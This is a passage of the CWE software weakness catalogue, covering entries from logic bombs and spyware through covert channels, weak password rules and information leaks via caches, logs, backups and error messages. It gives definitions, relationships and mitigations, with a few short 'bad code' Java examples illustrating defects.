The software contains code that is designed to disrupt the legitimate operation of the software (or its environment) when a certain time passes, or when a certain logical condition is met.

Extended Description

When the time bomb or logic bomb is detonated, it may perform a denial of service such as crashing the system, deleting critical data, or degrading system response time. This bomb might be placed within either a replicating or non-replicating Trojan horse.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- All

Demonstrative Examples

Typical examples of triggers include system date or time mechanisms, random number generators, and counters that wait for an opportunity to launch their payload. When triggered, a time-bomb may deny service by crashing the system, deleting files, or degrading system response-time.

Potential Mitigations

Always verify the integrity of the software that is being installed.

Implementation

Conduct a code coverage analysis using live testing, then closely inspect the code that is not covered.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	506	Embedded Malicious Code	**699** **1000**	529

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Logic/Time Bomb

CWE-512: Spyware

Weakness ID: 512 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software collects personally identifiable information about a human user or the user's activities, but the software accesses this information using other resources besides itself, and it does not require that user's explicit approval or direct input into the software.

Extended Description

"Spyware" is a commonly used term with many definitions and interpretations. In general, it is meant to software that collects information or installs functionality that human users might not allow if they were fully aware of the actions being taken by the software. For example, a user might expect that tax software would collect a social security number and include it when filing a tax return, but that same user would not expect gaming software to obtain the social security number from that tax software's data.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Potential Mitigations

Use spyware detection and removal software.

Always verify the integrity of the software that is being installed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	506	Embedded Malicious Code	**699** **1000**	529

CWE-513: Intentionally Introduced Nonmalicious Weakness

Category ID: 513 *(Category)* **Status:** Incomplete

Description

Summary

Nonmalicious introduction of weaknesses into software can still render it vulnerable to various attacks.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Compound	505	Intentionally Introduced Weakness	**699**	528
ParentOf	Weakness	*514*	*Covert Channel*	***699***	*533*
ParentOf	Compound	*517*	*Other Intentional, Nonmalicious Weakness*	***699***	*535*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Nonmalicious

CWE-514: Covert Channel

Weakness ID: 514 *(Weakness Class)* **Status:** Incomplete

Description

Summary

A covert channel is a path used to transfer information in a way not intended by the system's designers.

Extended Description

Typically the system has not given authorization for the transmission and has no knowledge of its occurrence.

Time of Introduction

- Implementation
- Operation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	418	Channel Errors	699	447
ChildOf	C	513	Intentionally Introduced Nonmalicious Weakness	**699**	533
ChildOf	Wc	664	Improper Control of a Resource Through its Lifetime	**1000**	652
ParentOf	We	*385*	*Covert Timing Channel*	*699* ***1000***	*410*
ParentOf	We	*515*	*Covert Storage Channel*	***699*** ***1000***	*534*

Theoretical Notes

This can be thought of as an emergent resource, meaning that it was not an originally intended resource, however it exists due the application's behaviors.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Covert Channel

CWE-515: Covert Storage Channel

Weakness ID: 515 *(Weakness Base)* **Status:** Incomplete

Description

Summary

A covert storage channel transfers information through the setting of bits by one program and the reading of those bits by another. What distinguishes this case from that of ordinary operation is that the bits are used to convey encoded information.

Extended Description

Covert channels are frequently classified as either storage or timing channels. Examples would include using a file intended to hold only audit information to convey user passwords--using the name of a file or perhaps status bits associated with it that can be read by all users to signal the contents of the file. Steganography, concealing information in such a manner that no one but the intended recipient knows of the existence of the message, is a good example of a covert storage channel.

Time of Introduction

- Implementation

Common Consequences

Confidentiality

Covert storage channels may provide attackers with important information about the system in question.

Likelihood of Exploit

High

Demonstrative Examples

An excellent example of covert storage channels in a well known application is the ICMP error message echoing functionality. Due to ambiguities in the ICMP RFC, many IP implementations use the memory within the packet for storage or calculation. For this reason, certain fields of certain packets -- such as ICMP error packets which echo back parts of received messages -- may contain flaws or extra information which betrays information about the identity of the target operating system. This information is then used to build up evidence to decide the environment of the target. This is the first crucial step in determining if a given system is vulnerable to a particular flaw and what changes must be made to malicious code to mount a successful attack.

Potential Mitigations

Implementation

Ensure that all reserved fields are set to zero before messages are sent and that no unnecessary information is included.

Other Notes

Covert storage channels occur when out-of-band data is stored in messages for the purpose of memory reuse. If these messages or packets are sent with the unnecessary data still contained within, it may tip off malicious listeners as to the process that created the message. With this information, attackers may learn any number of things, including the hardware platform, operating system, or algorithms used by the sender. This information can be of significant value to the user in launching further attacks.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	514	Covert Channel	**699** **1000**	533

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Storage
CLASP	Covert storage channel

CWE-516: DEPRECATED (Duplicate): Covert Timing Channel

Weakness ID: 516 *(Deprecated Weakness Base)* **Status:** Deprecated

Description

Summary

This weakness can be found at CWE-385.

Relationships

Nature	Type	ID	Name	V	Page
MemberOf	V	*604*	*Deprecated Entries*	***604***	*593*

CWE-517: Other Intentional, Nonmalicious Weakness

Category ID: 517 *(Category)* **Status:** Incomplete

Description

Summary

Other kinds of intentional but nonmalicious security flaws are possible. Functional requirements that are written without regard to security requirements can lead to such flaws; one of the flaws exploited by the "Internet worm" [3] (case U10) could be placed in this category.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	513	Intentionally Introduced Nonmalicious Weakness	**699**	533

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Other

CWE-518: Inadvertently Introduced Weakness

Category ID: 518 *(Category)* **Status:** Incomplete

Description

Summary

The software contains a weakness that was inadvertently introduced by the developer.

Extended Description

Inadvertent flaws may occur in requirements; they may also find their way into software during specification and coding. Although many of these are detected and removed through testing,

some flaws can remain undetected and later cause problems during operation and maintenance of the software system. For a software system composed of many modules and involving many programmers, flaws are often difficult to find and correct because module interfaces are inadequately documented and global variables are used. The lack of documentation is especially troublesome during maintenance when attempts to fix existing flaws often generate new flaws because maintainers lack understanding of the system as a whole. Although inadvertent flaws do not usually pose an immediate threat to the security of the system, the weakness resulting from a flaw may be exploited by an intruder (see case D1).

Time of Introduction

- Operation
- Architecture and Design
- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	504	Motivation/Intent	**699**	528

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
Landwehr	Inadvertent

CWE-519: .NET Environment Issues

Category ID: 519 *(Category)* **Status:** Draft

Description

Summary

This category lists weaknesses related to environmental problems in .NET framework applications.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	3	Technology-specific Environment Issues	**699**	1
ParentOf	C	*10*	*ASP.NET Environment Issues*	***699***	*6*
ParentOf	W	*520*	*.NET Misconfiguration: Use of Impersonation*	***699***	*536*

CWE-520: .NET Misconfiguration: Use of Impersonation

Weakness ID: 520 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Allowing a .NET application to run at potentially escalated levels of access to the underlying operating and file systems can be dangerous and result in various forms of attacks.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Potential Mitigations

Run the application with limited privilege to the underlying operating and file system.

Other Notes

.NET server applications can optionally execute using the identity of the user authenticated to the client. The intention of this functionality is to bypass authentication and access control checks within the .NET application code. Authentication is done by the underlying web server (Microsoft Internet Information Service IIS), which passes the authenticated token, or unauthenticated anonymous token, to the .NET application. Using the token to impersonate the client, the application then relies on the settings within the NTFS directories and files to control access. Impersonation enables the application, on the server running the .NET application, to both execute code and access resources in the context of the authenticated and authorized user.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness	266	Incorrect Privilege Assignment	**1000**	291
ChildOf	Category	519	.NET Environment Issues	**699**	536

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-521: Weak Password Requirements

Weakness ID: 521 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

Extended Description

An authentication mechanism is only as strong as its credentials. For this reason, it is important to require users to have strong passwords. Lack of password complexity significantly reduces the search space when trying to guess user's passwords, making brute-force attacks easier.

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

Architecture and Design

Enforce usage of strong passwords. A password strength policy should contain the following attributes: (1) Minimum and maximum length; (2) Require mixed character sets (alpha, numeric, special, mixed case); (3) Do not contain user name; (4) Expiration; (5) No password reuse.

Architecture and Design

Authentication mechanisms should always require sufficiently complex passwords and require that they be periodically changed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Category	255	Credentials Management	**699**	279
ChildOf	Weakness	693	Protection Mechanism Failure	**1000**	684
ChildOf	Category	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
ParentOf	Weakness	*258*	*Empty Password in Configuration File*	*1000*	*282*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Anonymous Tool Vendor (under NDA)			
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common(default) Usernames and Passwords

CWE-522: Insufficiently Protected Credentials

Weakness ID: 522 *(Weakness Base)* **Status:** Incomplete

Description

Summary

This weakness occurs when the application transmits or stores authentication credentials and uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

Use an appropriate security mechanism to protect the credentials.

Make appropriate use of cryptography to protect the credentials.

Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

Other Notes

Attackers are potentially able to bypass authentication mechanisms, hijack a victim's account, and obtain the role and respective access level of the accounts.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	255	Credentials Management	**699**	279
ChildOf	Wc	668	Exposure of Resource to Wrong Sphere	**1000**	658
ChildOf	C	718	OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management	**629**	714
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
ParentOf	Wv	*256*	*Plaintext Storage of a Password*	***699 1000***	*280*
ParentOf	We	*257*	*Storing Passwords in a Recoverable Format*	***699 1000***	*281*
ParentOf	Wv	*260*	*Password in Configuration File*	***699 1000***	*286*
ParentOf	Wv	*523*	*Unprotected Transport of Credentials*	***699 1000***	*538*
ParentOf	Wv	*549*	*Missing Password Field Masking*	*1000*	*553*
ParentOf	Wv	*555*	*J2EE Misconfiguration: Plaintext Password in Configuration File*	***1000***	*557*
ParentOf	Wv	*620*	*Unverified Password Change*	***699 1000***	*605*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Anonymous Tool Vendor (under NDA)			
OWASP Top Ten 2007	A7	CWE More Specific	Broken Authentication and Session Management
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
50	Password Recovery Exploitation	

CWE-523: Unprotected Transport of Credentials

Weakness ID: 523 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Login pages not using adequate measures to protect the user name and password while they are in transit from the client to the server.

Time of Introduction

- Architecture and Design

Potential Mitigations

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.

Background Details

SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.

Other Notes

Login pages should always employ SSL to protect the user name and password while they are in transit from the client to the server. Lack of SSL use exposes the user credentials as clear text during transmission to the server and thus makes the credentials susceptible to eavesdropping.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	522	Insufficiently Protected Credentials	**699 1000**	537

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-524: Information Leak Through Caching

Weakness ID: 524 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application uses a cache to maintain a pool of objects, threads, connections, pages, or passwords to minimize the time it takes to access them or the resources to which they connect. If implemented improperly, these caches can allow access to unauthorized information or cause a denial of service vulnerability.

Time of Introduction

- Implementation

Potential Mitigations

Protect information stored in cache.

Do not store unnecessarily sensitive information in the cache.

Consider using encryption in the cache.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	200	Information Leak (Information Disclosure)	**699 1000**	230
ParentOf	Wv	*525*	*Information Leak Through Browser Caching*	***699 1000***	*539*

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-525: Information Leak Through Browser Caching

Weakness ID: 525 *(Weakness Variant)* **Status:** Incomplete

Description

Summary
For each web page, the application should have an appropriate caching policy specifying the extent to which the page and its form fields should be cached.

Time of Introduction
- Implementation

Potential Mitigations
Protect information stored in cache.

Do not store unnecessarily sensitive information in the cache.

Consider using encryption in the cache.

Other Notes
You should use a restrictive caching policy for forms and web pages that potentially contain sensitive information. The risk is that this information could be stored in a client-side cache (with most browsers) and left behind for other users to find. The most severe risk is for applications where the intended access is from public terminals, such as those in libraries and Internet cafes.

Relationships
Nature	Type	ID	Name	V	Page
ChildOf	WW	524	Information Leak Through Caching	**699** **1000**	539
ChildOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	**711**	716
ChildOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	717

Taxonomy Mappings
Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Anonymous Tool Vendor (under NDA)			
OWASP Top Ten 2004	A2	CWE More Specific	Broken Access Control
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns
CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
37	Lifting Data Embedded in Client Distributions

CWE-526: Information Leak Through Environmental Variables

Weakness ID: 526 *(Weakness Variant)* **Status:** Incomplete

Description
Summary
Environmental variables may contain sensitive information about a remote server.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Potential Mitigations
Protect information stored in environment variable from being exposed to the user.

Relationships
Nature	Type	ID	Name	V	Page
ChildOf	WC	200	Information Leak (Information Disclosure)	**699** **1000**	230
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

CWE-527: Information Leak Through CVS Repository

Weakness ID: 527 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Information contained within a CVS directory left as a subdirectory on a webserver (such as usernames, filenames, path root and IP addresses) could be recovered by an attacker and used for malicious purposes.

Time of Introduction

- Operation

Potential Mitigations

Recommendations include removing any CVS directories and repositories from the production server, disabling the use of remote CVS repositories, and ensuring that the latest CVS patches and version updates have been performed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	538	File and Directory Information Leaks	**699 1000**	546
ChildOf	We	552	Files or Directories Accessible to External Parties	699 1000	555
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-528: Information Leak Through Core Dump Files

Weakness ID: 528 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application generates a core dump file in a directory that is accessible to parties outside of the intended control sphere.

Time of Introduction

- Implementation
- Operation

Potential Mitigations

Protect the core dump files from unauthorized access.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	538	File and Directory Information Leaks	**699 1000**	546
ChildOf	We	552	Files or Directories Accessible to External Parties	699 1000	555
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ChildOf	C	742	CERT C Secure Coding Section 08 - Memory Management (MEM)	**734**	727

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
Anonymous Tool Vendor (under NDA)		
CERT C Secure Coding	MEM06-C	Ensure that sensitive data is not written out to disk

CWE-529: Information Leak Through Access Control List Files

Weakness ID: 529 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

These files allow the attacker to know the setup of the security Access Control Lists. This will give the attacker information that may allow the attacker to bypass the security of the site.

Time of Introduction

- Operation

Potential Mitigations

Protect access control list files.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	538	File and Directory Information Leaks	**699** **1000**	546
ChildOf	We	552	Files or Directories Accessible to External Parties	699 1000	555
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-530: Information Leak Through Backup (.~bk) Files

Weakness ID: 530 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Often, old files are renamed with an extension such as .~bk to distinguish them from production files. The source code for old files that have been renamed in this manner and left in the webroot can often be retrieved.

Time of Introduction

- Implementation
- Operation

Common Consequences

At a minimum, an attacker who retrieves this file would have all the information contained in it, whether that be database calls, the format of parameters accepted by the application, or simply information regarding the architectural structure of your site.

Potential Mitigations

Recommendations include implementing a security policy within your organization that prohibits backing up web application source code in the webroot.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	538	File and Directory Information Leaks	**699** **1000**	546
ChildOf	We	552	Files or Directories Accessible to External Parties	1000	555
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-531: Information Leak Through Test Code

Weakness ID: 531 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Accessible test applications can pose a variety of security risks. Since developers or administrators rarely consider that someone besides themselves would even know about the existence of these applications, it is common for them to contain sensitive information or functions.

Time of Introduction

- Operation

Demonstrative Examples

Examples of common issues with test applications include administrative functions, listings of usernames, passwords or session identifiers and information about the system, server or application configuration.

Potential Mitigations

Remove test code before deploying the application into production.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WW	540	Information Leak Through Source Code	**699 1000**	548
ChildOf	We	552	Files or Directories Accessible to External Parties	699 1000	555
ChildOf		731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-532: Information Leak Through Log Files

Weakness ID: 532 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Information written to log files can be of a sensitive nature and give valuable guidance to an attacker.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Demonstrative Examples

In the following code snippet, a user's full name and credit card number are written to a log file.

Java Example: *Bad Code*

```
logger.info("Username: " + usernme + ", CCN: " + ccn);
```

Potential Mitigations

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Protect log files against unauthorized read/write.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	538	File and Directory Information Leaks	**699 1000**	546
ChildOf	We	552	Files or Directories Accessible to External Parties	699	555

Nature	Type	ID	Name	V	Page
				1000	
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ParentOf	W	*533*	*Information Leak Through Server Log Files*	***699 1000***	*544*
ParentOf	W	*534*	*Information Leak Through Debug Log Files*	***699 1000***	*544*
ParentOf	W	*542*	*Information Leak Through Cleanup Log Files*	***699 1000***	*549*

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-533: Information Leak Through Server Log Files

Weakness ID: 533 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A server.log file was found. This can give information on whatever application left the file. Usually this can give full path names and system information, and sometimes usernames and passwords.

Time of Introduction

- Implementation
- Operation

Potential Mitigations

Consider seriously the sensitivity of the information written into log files. Do not write secrets into the log files.

Protect log files against unauthorized read/write.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	532	Information Leak Through Log Files	**699 1000**	543
ChildOf	We	552	Files or Directories Accessible to External Parties	699	555
ChildOf	C	632	Weaknesses that Affect Files or Directories	**631**	615
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Affected Resources

- File/Directory

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-534: Information Leak Through Debug Log Files

Weakness ID: 534 *(Weakness Variant)* **Status:** Draft

Description

Summary

The application does not sufficiently restrict access to a log file that is used for debugging.

Time of Introduction

- Operation

Potential Mitigations

Remove debug log files before deploying the application into production.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WM	532	Information Leak Through Log Files	**699 1000**	543
ChildOf	WE	552	Files or Directories Accessible to External Parties	699	555
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-535: Information Leak Through Shell Error Message

Weakness ID: 535 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

Do not expose sensitive error information to the user.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WE	210	Product-Generated Error Message Information Leak	**699 1000**	241

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-536: Information Leak Through Servlet Runtime Error Message

Weakness ID: 536 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

A servlet error message indicates that there exists an unhandled exception in your web application code and may provide useful information to an attacker.

Time of Introduction

- Implementation

Common Consequences

In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.

Demonstrative Examples

The following servlet code does not catch runtime exceptions, meaning that if such an exception were to occur, the container may display potentially dangerous information (such as a full stack trace).

Java Example: *Bad Code*

```
public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  String username = request.getParameter("username");
  // May cause unchecked NullPointerException.
```

```
  if (username.length() < 10) {
    ...
  }
}
```

Potential Mitigations

Do not expose sensitive error information to the user.

Other Notes

The error message may contain the location of the file in which the offending function is located. This may disclose the web root's absolute path as well as give the attacker the location of application include files or configuration information. It may even disclose the portion of code that failed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	210	Product-Generated Error Message Information Leak	**699** **1000**	241

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-537: Information Leak Through Java Runtime Error Message

Weakness ID: 537 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

In many cases, an attacker can leverage the conditions that cause unhandled exception errors in order to gain unauthorized access to the system.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Potential Mitigations

Do not expose sensitive error information to the user.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	210	Product-Generated Error Message Information Leak	**699** **1000**	241

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-538: File and Directory Information Leaks

Weakness ID: 538 *(Weakness Base)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to information leaks in files and directories.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages
- All

Potential Mitigations
Do not expose file and directory information to the user.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	200	Information Leak (Information Disclosure)	**699 1000**	230
ParentOf	WV	*527*	*Information Leak Through CVS Repository*	***699 1000***	*540*
ParentOf	WV	*528*	*Information Leak Through Core Dump Files*	***699 1000***	*541*
ParentOf	WV	*529*	*Information Leak Through Access Control List Files*	***699 1000***	*542*
ParentOf	WV	*530*	*Information Leak Through Backup (.~bk) Files*	***699 1000***	*542*
ParentOf	WV	*532*	*Information Leak Through Log Files*	***699 1000***	*543*
ParentOf	WV	*539*	*Information Leak Through Persistent Cookies*	***699 1000***	*547*
ParentOf	WV	*540*	*Information Leak Through Source Code*	***699 1000***	*548*
ParentOf	WV	*548*	*Information Leak Through Directory Listing*	***699 1000***	*553*
ParentOf	WV	*611*	*Information Leak Through XML External Entity File Disclosure*	***699*** *1000*	*598*
ParentOf	WV	*651*	*Information Leak through WSDL File*	***699 1000***	*637*

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
95	WSDL Scanning	

CWE-539: Information Leak Through Persistent Cookies

Weakness ID: 539 *(Weakness Variant)* **Status:** Incomplete

Description
Summary
Persistent cookies are cookies that are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

Time of Introduction
- Architecture and Design
- Implementation

Potential Mitigations
Do not store sensitive information in persistent cookies.

Other Notes
Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session Identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory, and are not stored anywhere, but persistent cookies are stored on the browser's hard drive.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	538	File and Directory Information Leaks	**699 1000**	546
ChildOf	Category	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	**711**	719

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

CWE-540: Information Leak Through Source Code

Weakness ID: 540 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

Source code on a web server often contains sensitive information and should generally not be accessible to users.

Extended Description

There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to view the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

Time of Introduction

- Implementation

Potential Mitigations

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	538	File and Directory Information Leaks	**699 1000**	546
ChildOf	Weakness Base	552	Files or Directories Accessible to External Parties	699 1000	555
ChildOf	Category	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720
ParentOf	Weakness Variant	*531*	*Information Leak Through Test Code*	***699 1000***	*543*
ParentOf	Weakness Variant	*541*	*Information Leak Through Include Source Code*	***699 1000***	*548*
ParentOf	Weakness Variant	*615*	*Information Leak Through Comments*	***699 1000***	*601*

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-541: Information Leak Through Include Source Code

Weakness ID: 541 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

Time of Introduction

- Implementation

Potential Mitigations

Do not store sensitive information in include files.

Protect include files from being exposed.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	540	Information Leak Through Source Code	**699 1000**	548
ChildOf	W	552	Files or Directories Accessible to External Parties	699 1000	555
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-542: Information Leak Through Cleanup Log Files

Weakness ID: 542 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application fails to protect or delete a log file related to cleanup.

Time of Introduction

- Architecture and Design
- Implementation

Potential Mitigations

Do not store sensitive information in log files.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	532	Information Leak Through Log Files	**699 1000**	543
ChildOf	W	552	Files or Directories Accessible to External Parties	699	555
ChildOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	**711**	720

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-543: Use of Singleton Pattern in a Non-thread-safe Manner

Weakness ID: 543 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The use of a singleton pattern may not be thread-safe.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Java

Demonstrative Examples

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It fails to ensure the creation of only one object.

Java Example: *Bad Code*

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
  if (singleton == null) singleton = new NumberConverter();
  return singleton;
}
```

Consider the following course of events: Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution. Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, for the object reference is not set to point at the new object on the heap until the object is fully initialized. Thread B continues and constructs another NumberConverter object and returns it while exiting the method. Thread A continues, finishes constructing its NumberConverter object, and returns its version. It created and returned two different objects. Many programmers turned to the double-check pattern to avoid the overhead of a synchronized call, which is an extension of the one employed, until it too was shown to be not thread-safe.

Potential Mitigations

Use Thread-Specific Storage Pattern

In multithreading environments, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Ww	383	J2EE Bad Practices: Direct Use of Threads	**699**	408
ChildOf	We	662	Insufficient Synchronization	**1000**	651

Taxonomy Mappings

Mapped Taxonomy Name
Anonymous Tool Vendor (under NDA)

CWE-544: Failure to Use a Standardized Error Handling Mechanism

Weakness ID: 544 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

Extended Description

If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

Time of Introduction

- Implementation

Potential Mitigations

